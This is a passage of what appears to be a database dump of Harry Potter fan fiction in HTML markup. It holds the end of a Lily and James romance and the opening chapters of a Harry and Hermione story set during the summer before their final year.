&#8220;Padfoot?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You first\nmate.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">---</p>\n\n<p class="MsoBodyText">Look! I\nlet Potter and Heartily in already, what makes you think I&#8217;ll let you bunch\nin?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nwe&#8217;re only three people, we&#8217;re not large enough to be a bunch. Just be glad we didn&#8217;t\nask Jenna to come with us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Madam\nPomfrey muttered something inaudible and let them in. Lily was certainly\nsurprised to see them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Mundungus!\nSarah! Remus! What are you guys doing here?&#8221; She asked, in curiosity. Mundungus\nFletcher and Sarah Mirand were the other Gryffindor in their year, and part,\nalong with Lily, of a new book club started by some Ravenclaw,\nArabella-something. They were recently reading Muggle-fiction and their current\nbook was <i>A Princess Bride</i> by S. Morgensten, both original and the\nabridged version, for comparison. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She looked\nat Remus, he wasn&#8217;t in the club. &#8220;Well, we figured we could have a private\nmeeting of our book club, you know, just to catch you up,&#8221; Sarah explained.\n&#8220;Remus&#8230; er&#8230; he&#8212;&#8220;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8212;wanted\nto talk to you about something,&#8221; Remus finished for her. Lily nodded and turned\nto Mundungus</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sarah\nbegged me to come, since I was the only Gryffindor in our year in the club,&#8221;\nMundungus shrugged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But&#8230; I\ndon&#8217;t have my books,&#8221; Lily said quietly, biting her lip. She didn&#8217;t want them\nto do this for them for nothing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll get\nthem for you! Where are they?&#8221; Sarah jumped up. She always wanted to please\npeople. Lily told her it was at her bedside drawer and before Lily could add a\nword, she was out the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She\nsighed, not up to go after her. She whimpered slightly and sneezed. &#8220;Ohh&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221;\nRemus asked, sensing something wrong.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing,\nreally. I just&#8230; wanted to give this to er&#8230;&#8221; She blushed and both boys finally noticed\nshe was tightly clutching an envelope on her lap. She was holding so tight, he\nletter was becoming quite wrinkly</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Mundungus\nwill take it to him,&#8221; Remus answered but the other boy looked as if he had no\nclue what was going on.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I never\nagreed to&#8212;&#8220; then Remus stepped on his foot and Lily had this puppy-eyed\ngrateful look that he couldn&#8217;t say no. &#8220;Okay. But to who?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He&#8217;ll\nknow,&#8221; Lily answered cheeks still pink. Mundungus shrugged and started towards\nthe Common Room, leaving his own books behind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Lily,\nthat was for James, wasn&#8217;t it?&#8221; Remus asked, eyebrow raised. Lily nodded shyly.\nTo her surprise the boy only grinned. &#8220;Thought so.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You-you\ndid? W-why would you think that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus\nshrugged, &#8220;Can&#8217;t say but why&#8217;d don&#8217;t you just talk to him, face to face?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nwell&#8230; I&#8217;m not sure how I feel. It&#8217;s&#8230; weird. I&#8217;ve never been&#8212;I mean, I didn&#8217;t\nthink I&#8217;d feel this way about&#8230; er&#8230; um&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;ve\ngot nothing to worry about. My sister told me one day that nice girls usually\ndon&#8217;t know. They go on brooding about it. I just said that girls were crazy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Me?\nCrazy?&#8221; Lily teased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nyou&#8217;re not just a girl. You&#8217;re my friend. My friends are both crazy but also\nthe best things that have ever happened to me,&#8221; Remus smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh Rem&#8230;&#8221;\nShe hugged him, unnerving him again. She let him go soon and sneezed. &#8220;Sorry!\nI&#8217;m just a little upset&#8230; I think he likes me but I don&#8217;t&#8230; I&#8230;maybe&#8230; but&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Stop\nfretting. Do you like him or not?&nbsp; Just\nyes or no?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lily\nblushed, &#8220;Yes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">---</p>\n\n<p class="MsoBodyText">&#8220;Hey! I got\na letter from Lily,&#8221; Mundungus announced as he entered the boys&#8217; dormitories.\nHe stopped at the door, meeting an odd sight. James was lying face down,\nmuttering muffled obscenities into his pillow. Sirius, sitting nearby, was\nrolling his eyes, popping Bertie Bott&#8217;s Beans into his mouth, completely\nserene, while Peter sat at a desk, looking back and forth between them, an\namused look on his face. But when Mundungus&#8217; message sank in, they all looked\nup, James bolting out of the bed.</p>\n\n<p class="MsoBodyText">&#8220;Give me\nthat!&#8221; he demanded, snatching the envelope and offending his roommate. James\nbarely uttered an apology when he ripped open the envelope and closed the\ncurtains of his four-poster. Taking out his wand from his pockets, he muttered\n&#8220;Lumos!&#8221; and started to read her letter.</p>\n\n<p class="MsoBodyText"><i>&#8220;Dear\nJames,</i></p>\n\n<p class="MsoBodyText"><i>Hi,\nit&#8217;s me. Well, I don&#8217;t really know what&#8217;s going on. You&#8217;ve been acting a little\nstrange recently. I noticed it a few days ago, before my little incident. I was\nin the library. I was checking out my book on Muggle Fairy Tales, for reference\nto an essay I&#8217;m making for the book club (oh dear, we still need a name&#8230;) and\nwhen I took out a book, I saw you through the empty space. There was a girl\nthat came up to you. She started to talk to you, clearly flirting, and even\nthough you didn&#8217;t even seem to notice or care, I felt this odd emotion, then I\ndecided I wanted to ask you something, not even sure what. Still not sure\nnow...</i></p>\n\n<p class="MsoBodyText"><i>When I\ncame up to you, that girl just gave me an evil look. I didn&#8217;t understand why.\nYou just turned red and before I could ask you anything, you made an excuse to\nleave, you had done that about five times that day. Then you did it again when\nyou were visiting me today. I thought we were back to normal, when you first\nvisited me the other day. It was a few months ago when we were that friendly\nwith each other. And I felt content, just us, together as friends. I didn&#8217;t\nwant to ruin that but then I&#8230;</i></p>\n\n<p class="MsoBodyText"><i>I did\nsome thinking today. I came to the conclusion that you might, possibly, fancy\nme. I was completely flattered, don&#8217;t be offended.&nbsp; Then I tried to think about what I&#8217;ve been feeling. At the\nlibrary&#8230; I was&#8230; jealous. I think that&#8230; I might fancy you too. Perhaps maybe\nmore than fancy you? I don&#8217;t know. I&#8217;m confused. I&#8217;ve never felt this way about\nanyone before. It snuck up on me by surprise. What&#8217;s it?&#8221; </i></p>\n\n<p class="MsoBodyText">There was\na word that was heavily blotted out but there was a deep crease in the\nparchment that looked like an &#8220;I&#8221; or an &#8220;L&#8221;. She ended with:</p>\n\n<p class="MsoBodyText"><i>&#8220;We\nneed to sort this out.</i></p>\n\n<p class="MsoBodyText"><i>Love,\nLily&#8221;</i></p>\n\n<p class="MsoBodyText">&nbsp;A\nsmile spread across his face and it seemed some weight on his shoulders was\nlifted and he rushed out of the dormitory, quickly explaining to his friends he\nneeded to talk to her, and ran through the common room, hurriedly walked to the\ninfirmary in a fast pace. He found Remus coming out; his face was filled with\nperplexity when Remus patted his shoulder. But all puzzlement went away when\nhis friend whispered, &#8220;Good luck&#8230;&#8221;</p>\n\n<p class="MsoBodyText">James\nsighed, having a second&#8217;s worth of doubt of this decision, then turned the\nknob. Lily smiled at him, hugging a pillow, looking healthier and prettier than\never.</p>\n\n<p class="MsoBodyText">&#8220;Hi.&#8221;</p>\n\n<p class="MsoBodyText">&#8220;Hey.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">End.</p>\n\n<p class="MsoNormal">--</p>\n\n\n\n\n\n\n'),
	(175, 1, '\n\n<b><u></u></b><u></u><p><u><b>Disclaimer:</b></u> I do not; I repeat; do NOT own Harry Potter.  I own the plot, the band and any characters that have not appeared in the books.  </p>\n\n<b><u></u></b><u></u><p><u><b>Author Note:</b></u> My first fan fic posted!  Yay!  Be gentle!  It takes place in their sixth year summer when they are about to go back for the seventh year.  </p>\n\n<i><p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Dear Hermione,</p>\n\n<p>	I&#8217;m in Africa!  Saw an Elephant yesterday.  It was massive; Indian so I believe.  Sirius and I named it Bungo because it kept getting food stuck in its trunk!</p>\n<p>How is it at Ron&#8217;s?  For his sake, I hope him and Lavender are enjoying themselves.  I&#8217;ll have the water hose on them when I get back.  </p>\n<p>	I&#8217;ve missed you all.  It&#8217;s so great being out here, in the sun and the stars at night.  I&#8217;ll have to bring you and Ron out here someday.  It&#8217;s so gorgeous.</p>\n<p>I&#8217;ve got another week until my trip ends.  Sirius and I will be apparating straight from Tokyo&#8217;s apparating area.  We&#8217;re ending the trip with Japan.  I&#8217;ll bring you something back.  You do like sushi right? Hey&#8230;I&#8217;m laughing!  Being with Sirius so long has affected me.</p>\n\n<p>Laughing hysterically as you finish reading this,</p>\n\n<p>Love from,</p>\n\n<p>Harry</p>\n</i>\n<p>&nbsp;</p>\n<p>Hermione closed the letter, laughing a little and sighing.   </p>\n<p>Lavender was drinking coffee on the other end of the table.  The two girls were the only ones up this early.  Ginny, Mr Weasley and Mrs Weasley, Percy and the twins were in Romania visiting Bill.  She noticed Hermione&#8217;s dreamy expression.  </p>\n<p>	&quot;How&#8217;s Harry?&quot; Lavender asked smiling into her cup.  Hermione placed the folded letter back into the envelope.  </p>\n<p>	&quot;He&#8217;s fine,&quot; Hermione replied pouring some coffee into an empty mug. </p>\n<p>	&quot;Where is he now?&quot;</p>\n<p>	&quot;Africa.&quot; </p>\n<p>	&quot;How long until he gets back?&quot;</p>\n<p>	&quot;Another week,&quot; Hermione sighed.  Lavender chuckled at the sigh.  </p>\n<p>	&quot;You missing him?&quot; </p>\n<p>Hermione nodded sadly as she spooned sugar into her cup and added milk to the dark substance.  </p>\n<p>	&quot;When are you going to tell him you like him?&quot;  Lavender asked smiling happily.  &quot;I mean, all you do is go on about how &#8216;great&#8217; Mr Potter is and how you&#8217;d love to be Blaise or Parvati or Cho.&quot;</p>\n<p>Hermione just looked at her friend with an eyebrow cocked as she took a sip of her drink.  &quot;Your point being?&quot;</p>\n<p>Lavender nearly slammed her cup onto the table.  &quot;My point is that you are undeniably in puppy dog love mode around the green eyed god.  Plus, Cho isn&#8217;t going to be around this year.  Wood&#8217;s signed her up for the Chudley Cannons so&#8230;you&#8217;ll have Mr Potter all to yourself.&quot;</p>\n<p>&quot;His eyes are emerald; not just green,&quot; Hermione corrected before sipping her coffee again.  Hermione looked somewhat hopeful but she knew that even if she declined, Ron and Lavender would do all in their power to bring them together.  Great Gods had they tried.  For the past year, even when Harry was dating Cho, they&#8217;d left them alone at the Three Broomsticks; pushed them into empty classrooms and locked them in there and tripped them over onto one another.  Hermione knew that Ron would never give up and Lavender would never run out of ideas.  </p>\n<p>	&quot;He&#8217;ll have his eye on Blaise again this year.&quot;  Hermione replied with a small sigh.  What she would give to be Blaise.  </p>\n<p>Lavender scoffed.  &quot;You gotta be kidding me!  Blaise might like him but he&#8217;s intent on just being friends with her.&quot;</p>\n<p>Hermione held back a smile.  She knew it would just give Lavender an edge.  &quot;There are 20 girls in our year alone&#8230; that makes 40 because he goes after the sevenths and sixes.  He&#8217;ll find someone else&#8230;&quot;</p>\n<p>Lavender exhaled loudly.  &quot;If you keep thinking like that you&#8217;re never going to get him.  Think of it this way.  He&#8217;s prepping himself for you so he can give you the best experience of a lifetime.  Isn&#8217;t that a nicer way of thinking about it?&quot;</p>\n<p>	&quot;If I thought that it was completely untrue that he just thought of me as a friend then it would be quite a pleasant&#8230;if not rather sickening&#8230;thought.&quot;</p>\n<p>Lavender smiled wistfully.  &quot;That&#8217;s the spirit.&quot;</p>\n\n<p>Hermione decided that now was the time to change the subject a little.  The talk of Harry was beginning to make her miss him more.</p>\n<p>	&quot;How long have you and Ron been going out now?&quot; Hermione asked, turning to Lavender and taking a sip of a freshly brewed beverage.  </p>\n<p>Lavender looked casually at her watch.  &quot;Two months, three weeks and three glorious hours.&quot;</p>\n<p>	&quot;Wow&#8230;even on the hours now.  You must really like him.&quot;</p>\n<p>	&quot;I do.  I do.&quot;  She sighed a little.  &quot;Kind of like how you like Harry.&quot;  </p>\n<p>Lavender ducked to find a hand flying at her.  </p>\n<p>	&quot;Oh yeah, I forgot.  It&#8217;s not like, it&#8217;s love!&quot;</p>\n<p>Hermione just laughed.  &quot;You are impossible you know.&quot;</p>\n<p>	&quot;I know.&quot;</p>\n\n<p>The two girls continued their conversation.  They passed all sorts of subjects like what they would be taking next year; if Professor Snape&#8217;s hair were really that greasy; what would happen if the muggle world found out about magic.  The topics really didn&#8217;t stop spewing.  </p>\n<p>Suddenly, Pig came flying in the window and nearly collapsed onto the dinning table.  He looked completely exhausted.  Lavender stroked his belly softly as Hermione took the Daily Prophet and the mail from his talons.  </p>\n<p>	&quot;You beautiful aren&#8217;t you?&quot; Lavender asked Pig.  Pig stood up and fluttered then began to nip at her fingers affectionately giving off small hoots every now and then. </p>\n<p>Hermione sorted through the mail.  She put all the Weasley&#8217;s mail on one side and handed Lavender a large letter.  Lavender opened it and held it over the table.  A letter and a magazine fell out.  </p>\n<p>She picked up the letter first and read it through.  Hermione was tickling Pig and giving him some Owl Treats.  </p>\n<p>	&quot;I&#8217;ve got a new subscription to The Witches Weekly,&quot; Lavender stated.  She picked up the magazine and smiled wickedly.  She handed it to Hermione.  </p>\n<p>	&quot;You might want this,&quot; Hermione took it and stared shocked at the front cover.  </p>\n<p>It read, &quot;Life-size photo gallery of the top ten most Sexist Males!&quot;  </p>\n<p>She flicked through the pages until she came to the article.  As if on auto-pilot, Hermione scanned the index of pictures until she found&#8230;at number two&#8230;Harry Potter.    </p>\n<p>Lavender laughed.  &quot;Found what you&#8217;re looking for?&quot;</p>\n<p>Hermione laughed with her friend and grinned.  &quot;You know you wanna look too.&quot;</p>\n<p>	&quot;I do actually.&quot;</p>\n<p>Hermione opened Harry&#8217;s Page and the picture unfolded itself.  It strung itself from the ceiling.  It was Harry leaning against the side of the portrait in a side-shot pose.  It was full length of his body.  He was wearing deep blue jeans and a white T-shirt.  The T-shirt didn&#8217;t leave much to the imagination.  His pecks and abdomen were clearly toned and muscular.  Lavender could now see why Hermione and almost every other girl swooned over him.  She had at one time and had gone out with him, but the mutual decision was that it wasn&#8217;t meant to be.  Harry really couldn&#8217;t look more innocent in the picture.  He had the &#8216;innocent&#8217; expression on his face, which made him look sexy&#8230;very sexy indeed.  His scar was visible but not much.  His eyes were looking directly into the camera so he was watching you wherever you turned.  </p>\n<p>Lavender and Hermione gaped in awe.  	</p>\n<p>	&quot;Wow&#8230;&quot; Hermione stated smiling mischievously.  </p>\n<p>	&quot;I didn&#8217;t know he could look THAT good,&quot; Lavender giggled.  </p>\n<p>The caption at the bottom was about him and his life in the wizarding world.  Lavender read it aloud.  </p>\n<p>	</p>\n<p>&quot;Harry James Potter; also known as The-Boy-Who-Lived; is loved throughout the Wizarding World.  He is the only person ever to survive the Avada Kedavra curse from You-Know-Who.  He is also the singer and Guitar player of the band Etched in Stone, playing at Hogsmeade in upcoming weeks.  This sixteen-year-old attends Hogwarts School of Witchcraft and Wizardry.  He plays Seeker for their Gryffindor House.  His favourite colour is blue and he enjoys Quidditch, Music and Wizard chess.  </p>\n<p>In an interview with The Witches Weekly a few months ago, he stated that his best friends are Ronald Weasley and Hermione Granger.  He quoted &#8216;If they weren&#8217;t there&#8230;I don&#8217;t know what I&#8217;d do.&#8217;  The matter of his love interest is quoted as &#8216;a closely guarded secret between him and his heart.&#8217;&quot;</p>\n<p>	</p>\n<p>&quot;Wasn&#8217;t he going out with Cho before the summer?&quot; Lavender asked still eyeing the picture.  </p>\n<p>Hermione looked absolutely enthralled by the very handsome picture of her love &#8211;interest.  &quot;Yeah.  So?&quot;</p>\n<p>Lavender tapped Hermione softly on the head.  &quot;It says here that his &#8216;love interest&#8217; is a closely guarded secret.&quot;</p>\n<p>	&quot;So?&quot;</p>\n<p>Lavender sighed loudly.  &quot;Are you being dense this morning just to be awkward?&quot; </p>\n<p>	&quot;Hey!  Being dense takes effort for me.  It doesn&#8217;t just come naturally you know.&quot; Hermione laughed.</p>\n<p>	&quot;Clever,&quot; Lavender replied.  &quot;Don&#8217;t you think he would&#8217;ve mentioned Cho if she was his interest?&quot;</p>\n<p>Hermione felt a flicker of hope for a moment, but only for a moment.  &quot;Don&#8217;t let it get to your head, Lav.  It was probably just making him sound more cute or single.&quot;</p>\n<p>	&quot;You have no hope do you?&quot; Lavender smiled jokingly.  </p>\n<p>	&quot;Nope&#8230;none at all.&quot;    Hermione was already getting the enchanted picture to roll itself up.  </p>\n<p>	&quot;Do you want it?&quot;  Lavender asked slyly.  </p>\n<p>	&quot;Want what?&quot;  </p>\n<p>	&quot;That picture.&quot;</p>\n<p>	&quot;I don&#8217;t see why not.  I&#8217;ll never get the real thing in my bedroom.&quot;</p>\n<p>	&quot;Don&#8217;t be daft!  By Christmas, you too will be all over each other.&quot;  </p>\n<p>Hermione scoffed.  &quot;Now who&#8217;s being daft?&quot;</p>\n<p>Lavender raised her hands in a mock surrender.  &quot;Fine, if you don&#8217;t believe me I won&#8217;t force you too.  Just remember, at the Yule Ball, when he kisses you, remember that I told you so.&quot;  </p>\n<p>Hermione smiled at the thought of it.  That would be perfect.  At the Yule Ball together.  </p>\n\n<p>~*~</p>\n\n<p>The week went by quickly.  Ron and Lavender were all over each other as usual.  Their days were mostly filled with Hermione and Lavender showing Ron around all the Muggle places.  They went shopping in London centre and visited the cinemas.  Ron loved the Museums.  At the end, he wanted one of the old Cavalier swords.  </p>\n<p>They occasionally went swimming and the funniest thing was watching Ron get beaten up by a Garden Gnome.  </p>\n\n<p>&nbsp;</p>\n<p>The girls sat on Hermione&#8217;s bed painting each other&#8217;s nails.  The picture of Harry hung on the wall.  Hermione had to use Ginny&#8217;s bedroom.  Ginny didn&#8217;t mind.  She&#8217;d asked for Hermione to use her bedroom, as she was sure Ron would search her things if Hermione weren&#8217;t there.  </p>\n<p>	&quot;I don&#8217;t know why you girls do that,&quot; Ron asked from the doorway.  </p>\n<p>Hermione scoffed.  &quot;Why?  You do!&quot;  The girls giggled a little. </p>\n<p>	&quot;Don&#8217;t be dense!&quot; Ron hugged Lavender from behind and sat down on the bed with them.</p>\n<p>&quot;Hey, love,&quot; Lavender kissed his cheek as he kissed her forehead. </p>\n<p>He looked at Hermione.  &quot;Harry&#8217;s back tomorrow.&quot;</p>\n<p>	&quot;I know,&quot; Hermione sighed and concentrated on painting Lavender&#8217;s nails.  </p>\n<p>He winked at Lavender.  &quot;So why don&#8217;t you give him a big hug when he comes in tomorrow?&quot;</p>\n<p>	&quot;Because if I do, you&#8217;ll get jealous,&quot; Hermione smiled.  Lavender chuckled a little.  </p>\n<p>Ron put his hand to his head dramatically.  &quot;If you must take him from me do it quickly.&quot;  The girls giggled at his silliness.  </p>\n<p>&quot;Our last year, girls,&quot; Ron recalled drifting into memories.  &quot;No more studying after our N.E.W.T.S.  You excited?&quot;</p>\n<p>	&quot;Of course I am,&quot; Hermione smiled painting some more red onto Lavender&#8217;s nails.  &quot;I am determined to enjoy my last year.&quot;</p>\n<p>Ron looked drawn back as he clutched at his chest.  &quot;Hermione!  Blasphemer!&quot;  Lavender and Ron burst into hysterics.  Hermione just gave him a &#8216;whatever&#8217; look. </p>\n<p>	&quot;No really.  I want to enjoy my last year and not get stressed out like I have done every single year!  If it&#8217;s not about my exams it&#8217;s about schoolwork.  If it&#8217;s not about schoolwork it&#8217;s about you and Harry!  I just need a year to chill out and my last year is the perfect opportunity!&quot;</p>\n<p>	&quot;Good for you.  I, however, am going to take up the position of Chaser for Gryffindor.&quot;</p>\n<p>	&quot;Great!  So I take it, Harry finally offered you the job?&quot;</p>\n<p>	&quot;Like he has a choice.  I&#8217;m his best friend.&quot;</p>\n<p>	&quot;So he hasn&#8217;t then?&quot;</p>\n<p>Lavender took the bottle from Hermione and started to paint swirls onto Hermione&#8217;s fingernails,  &quot;Of course he hasn&#8217;t.  He hasn&#8217;t had time to ask him.&quot;</p>\n<p>	&quot;He will.  Kelly&#8217;s gone and left Harry in charge so of course he is going to ask me.&quot;  He chuckled and readjusted the pillows beneath him.  &quot;You girls are really into that finger painting stuff aren&#8217;t you?&quot;</p>\n<p>	&quot;Leave if you don&#8217;t like it,&quot; Lavender stated smiling.  </p>\n<p>	&quot;Doesn&#8217;t it bore you?&quot;</p>\n<p>	&quot;Not really.  Looking nice is something to be proud of not a chore,&quot; Hermione exclaimed grinning widely.   </p>\n<p>	&quot;Really?  Then why does it take you at least two hours to get ready if we&#8217;re going out to Hogsmeade?&quot;</p>\n<p>	&quot;Because we want to look gorgeous not just nice and to look gorgeous takes time.&quot;  Lavender sighed and moved to Hermione&#8217;s other foot.</p>\n<p>	&quot;Alright, whatever.  Anybody hear?  Harry&#8217;s taking up a new sport this year.&quot;</p>\n<p>	&quot;Really? What?&quot;</p>\n<p>	&quot;Bird watching.&quot;  A grin the size of the Nile spread widely across Ron&#8217;s face.  Hermione smirked and tried to swat him with her backhand.  &quot;Not just any bird though.&quot;</p>\n<p>	&quot;The Hermione bird.  It&#8217;s a very rare find in Hogwarts.  One of a kind some say.&quot;  Lavender giggled at her statement.  </p>\n<p>	&quot;You&#8217;re both against me!&quot; Hermione flung her arms up in the air.  </p>\n<p>	&quot;Flap your wings then, birdie!&quot; Ron teased and narrowly missed being hit over the head by Hermione&#8217;s pillow.  </p>\n<p>	&quot;Don&#8217;t start with me this evening, Weasley,&quot; she smirked.  </p>\n<p>	&quot;Why?&quot; he asked smiling from ear to ear.  </p>\n<p>	&quot;Women&#8217;s stuff.  Nothing you men would understand.&quot;  Lavender replied.</p>\n<p>	&quot;Oh right.&quot;</p>\n<p>	&quot;Ruddy well &#8216;Oh right&#8217;.  You try bleeding continuously for a week.&quot;</p>\n<p>	&quot;Don&#8217;t want to.&quot;</p>\n<p>	&quot;Don&#8217;t blame you.&quot;</p>\n<p>The girls laughed.  Ron kissed Lavender quickly before retreating to the safety of his bedroom.  </p>\n<p>	&quot;Men,&quot; Lavender sighed.  </p>\n<p>	&quot;They&#8217;re not all bad,&quot; Hermione replied.  </p>\n<p>Lavender looked up at her friend and smirked.  &quot;Name one male whom you haven&#8217;t thrown a &#8216;men!&#8217; tantrum at in Hogwarts.&quot;</p>\n<p>Hermione thought silently but counted them out on her fingers.  Out of the twelve she&#8217;d dated, not one of them had resulted in her saying something completely nice about them.  With everyone she&#8217;d compared them to Harry.  </p>\n<p>	&quot;Thought so,&quot; Lavender smiled obviously commenting on Hermione&#8217;s prolonged thinking silence.  &quot;You just come into the girls dorm after each date and shout &#8216;men!&#8217;  Honestly Herm, you either have to get Harry or get over him.&quot;</p>\n<p>	&quot;What do you mean?&quot; Hermione asked looking at her friend.  </p>\n<p>	&quot;You&#8217;ve said it yourself about every one of the twelve males you dated.&quot;</p>\n<p>	&quot;Give me an example.&quot;</p>\n<p>	&quot;Okay,&quot; Lavender sat up straight and put the bottle of red liquid on the bedside table.  She counted them off on her fingers.  &quot;With Dean, you said that he was too short for you and Harry was much taller.&quot;</p>\n<p>	&quot;That&#8217;s one.&quot;</p>\n<p>	&quot;With Seamus, you said that his hair was too long and not short like Harry&#8217;s which was just the right size and actually looked sexy.  With Justin, I&#8217;ll forgive you because he was a git but you still said that he wasn&#8217;t as nice and caring as Harry was.  With Terry, you said he was too dense and Harry was way smarter and you could at least have an intellectual conversation with Harry.  With Neville, you said he was just not your type&#8230;you wanted someone more like Harry.  With Jack&#8230;&quot;</p>\n<p>Hermione waved her hands up in submission.  &quot;Okay, okay, I get it.&quot;</p>\n<p>	&quot;Good!&quot; Lavender smiled one of her &#8216;I told you so&#8217; looks.  &quot;Just remember what I said about the Yule Ball.  If it comes true I&#8217;m taking up a career as a Divination Professor.&quot;  </p>\n<p>	&quot;It&#8217;ll suit you,&quot; Hermione stifled a giggle. 	</p>\n<p>Lavender smiled sarcastically and narrowed her eyes playfully.  &quot;I&#8217;m taking the advanced level this year.  What are you doing?&quot;</p>\n<p>	&quot;Advanced Arithmacy.&quot;</p>\n<p>	&quot;Ooh goody!&quot; Lavender exclaimed sarcastically and raised her hands to her temples.  She closed her eyes and rubbed the sides of her head with her index fingers.  &quot;I predict that you will&#8230;graduate with flying colours in Arithmacy.&quot;</p>\n<p>Hermione smacked her friend jokingly on the arm.  &quot;I hope so.  If I fail now I&#8217;m blaming it on you, Professor Trelawney.&quot; </p>\n<p>	&quot;It&#8217;s okay, McGonagall.&quot;</p>\n<p>	&quot;That was uncalled for.&quot;</p>\n<p>	&quot;Alright.  I wonder if Harry will still fancy you if you look like Professor McGonagall?&quot;</p>\n<p>Hermione shook her head in disgust.  &quot;Thanks for the mental image Lav!&quot;</p>\n<p>Lavender chuckled.  &quot;No problem!&quot;</p>\n\n<p>She let out a huge yawn and stretched her arms up above her head.  &quot;Alright, I&#8217;m shattered.  I&#8217;m off to bed.&quot;</p>\n<p>Lavender stood and walked to the door.  &quot;Pleasant dreams of Harry, Herm!&quot;  She called as she left.  </p>\n<p>She continued down the corridor and shut Fred and George&#8217;s door on the way.  The mischief those two came up with was bound to have a funny smell or something so it was better off left in there.  </p>\n\n<p>&nbsp;</p>\n\n'),
	(175, 2, '\n\n<b><u></u></b><u></u><p><u><b>Disclaimer:</b></u> I do not; I repeat; do NOT own Harry Potter.  I own the plot, the band and any characters that have not appeared in the books.  </p>\n\n<b><u></u></b><u></u><p><u><b>Author Note:</b></u> My first fan fic posted!  Yay!  Be gentle!  It takes place in their sixth year summer when they are about to go back for the seventh year.</p>\n\n<p>~*~</p>\n\n<p>&quot;Got everything Harry?&quot; Sirius called from the waiting lounge.  He had already carried most of the bags onto the apparating section they had been designated.  Harry checked his list one more time.  </p>\n<p>	&quot;I think it&#8217;s everything,&quot; he laughed.  &quot;I could always come back if I&#8217;ve forgotten anything.&quot;</p>\n<p>	&quot;Like hell you could,&quot; Sirius laughed with him.  He picked up Harry&#8217;s suitcase.  Harry got his hold-all and they walked swiftly to their point.  </p>\n<p>The stewardess stood next to their point and waved to them.  </p>\n<p>	&quot;Enjoy your trip!&quot; she called.  </p>\n<p>Harry was just about to say she was cute when Sirius called out, &quot;The Burrow, England!&quot;</p>\n\n<p>Seconds later, Harry and Sirius were standing in the Weasley&#8217;s front garden looking up at the Burrow.  It was absolutely breathtaking for someone who&#8217;d just travelled around the world to see.  Home was always going to be here. </p>\n<p>It was dark&#8230;very dark.  Sirius glanced at his multitude of watches on his wrist.  Harry swore that he had one for every time frame in the world.  </p>\n<p>	&quot;It&#8217;s 3:30 am.  Everybody will be in bed,&quot; Sirius stated looking up to see if anyone&#8217;s light was on.  Not one speck of light anywhere.  </p>\n<p>	&quot;What do we do know?&quot; Harry asked.  He didn&#8217;t want to wake anyone up.  He glanced up at the moon.  A half-moon&#8230;Hermione was on her monthly week.  Harry somehow managed to fit her in close combination with the moon&#8217;s cycle.  It was the only he could keep himself and Ron informed of her mood swings and irritable nature.    </p>\n\n<p>A smirk appeared on Sirius&#8217; face.  &quot;Well, we can go to the Leaky Cauldron and have a drink then come back and cook breakfast for this lot.  Sound like fun?&quot;</p>\n<p>	&quot;Yeah, sounds great!  What about our stuff?&quot;</p>\n<p>	&quot;Let&#8217;s leave them in the garage.&quot;</p>\n<p>After all their belongings were safely stored in the garage, Harry and Sirius apparated to the Leaky Cauldron.  </p>\n\n<p>They settled with a drink after a long conversation with Tom on Harry being a very big boy now since he&#8217;d first come in with Hagrid six years ago.  